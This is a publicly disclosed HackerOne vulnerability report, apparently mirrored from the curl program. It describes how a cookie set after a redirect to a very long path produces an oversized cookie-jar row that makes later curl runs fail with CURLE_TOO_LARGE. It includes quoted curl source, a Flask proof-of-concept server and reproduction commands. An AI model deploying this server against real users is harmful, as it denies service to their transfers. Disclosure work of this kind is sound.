HexBrain

curl · Report #4127231

Derived cookie Path aborts cookie jar loading in curl 8.23.0

N/Astatus
lowseverity
2upvotes
26 Oct 2026disclosed

How it was found

Hello curl security team,

I am reporting a related cookie-jar failure that I reproduced on the official curl 8.23.0 release.

Summary

A server redirects curl to a path approximately 5 KB long and responds there with a short cookie that has no Path attribute. curl derives the cookie path from the request URL and writes it to the Netscape cookie jar. The resulting record is 5,047 bytes, excluding the newline. A later curl invocation using that jar exits with error 100 (CURLE_TOO_LARGE) before sending its request.

Vulnerable code

In lib/cookie.c, storecookie() derives a default path from the request path when a cookie omits the Path attribute:

else if(path) {
  /* No path was given in the header line, set the default */
  const char *endslash = strrchr(path, '/');
  if(endslash)
    plen = endslash - path + 1; /* include end slash */
  else
    plen = strlen(path);
}

if(path) {
  co->path = sanitize_cookie_path(path, plen);

get_netscape_format() serializes co->path into the Netscape cookie-jar row. The serializer does not enforce the maximum line length used by the reader:

return curl_maprintf(
  "%s%s\t"           /* domain */
  "%s\t"             /* tailmatch */
  "%s\t"             /* path */
  "%s\t"             /* secure */
  "%" FMT_OFF_T "\t" /* expires */
  "%s\t"             /* name */
  "%s",              /* value */
  ...
  co->path ? co->path : "/",
  ...);

On reload, cookie_load() initializes its line buffer to MAX_COOKIE_LINE + 48, or 5,048 bytes:

curlx_dyn_init(&buf, MAX_COOKIE_LINE + 48);

Curl_get_line() appends the newline to the line buffer. The dynamic buffer also reserves space for a terminating NUL; if the required size exceeds the configured limit, it returns CURLE_TOO_LARGE:

size_t fit = len + idx + 1; /* new string + old string + zero byte */
if(fit > s->toobig) {
  curlx_dyn_free(s);
  return CURLE_TOO_LARGE;
}

This creates a mismatch between serialization and parsing: a cookie path can make the serialized row longer than the reader's buffer can accept. When the reader exceeds that limit, it returns CURLE_TOO_LARGE and the cookie-jar load fails.

POC

Step 1: Create a simple server and run:

from flask import Flask, abort, make_response, redirect

app = Flask(__name__)
long_path = "/" + "p" * 5015 + "/abc"

@app.get("/redir")
def redir():
    return redirect(long_path)

@app.get("/<path:path>")
def set_cookies(path):
    if "/" + path != long_path:
        abort(404)
    response = make_response()
    response.set_cookie("root", "available", path="/")
    response.set_cookie("long", "v", path=None)
    return response

if __name__ == "__main__":
    app.run(host="127.0.0.1", port=8000, debug=False, threaded=True)

{F7031492}

Step 2: Use latest 8.23.0 curl to send request to get cookie. This also creates a jar file contains a 5,047-byte row for long=v and a 40-byte row for root=available

./curl -L -b "" -c cookies.txt http://127.0.0.1:8000/redir

{F7031728}

Step 3: curl exits with error 100 (CURLE_TOO_LARGE) while loading the jar

./curl -b cookies.txt http://127.0.0.1:8000               

{F7031739}

Impact

The demonstrated impact is denial of service for later curl transfers that load the affected jar. Cookie loading fails before the new HTTP request is sent. Applications that share a persistent jar may see otherwise unrelated transfers fail until the oversized row is removed or the jar is replaced.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original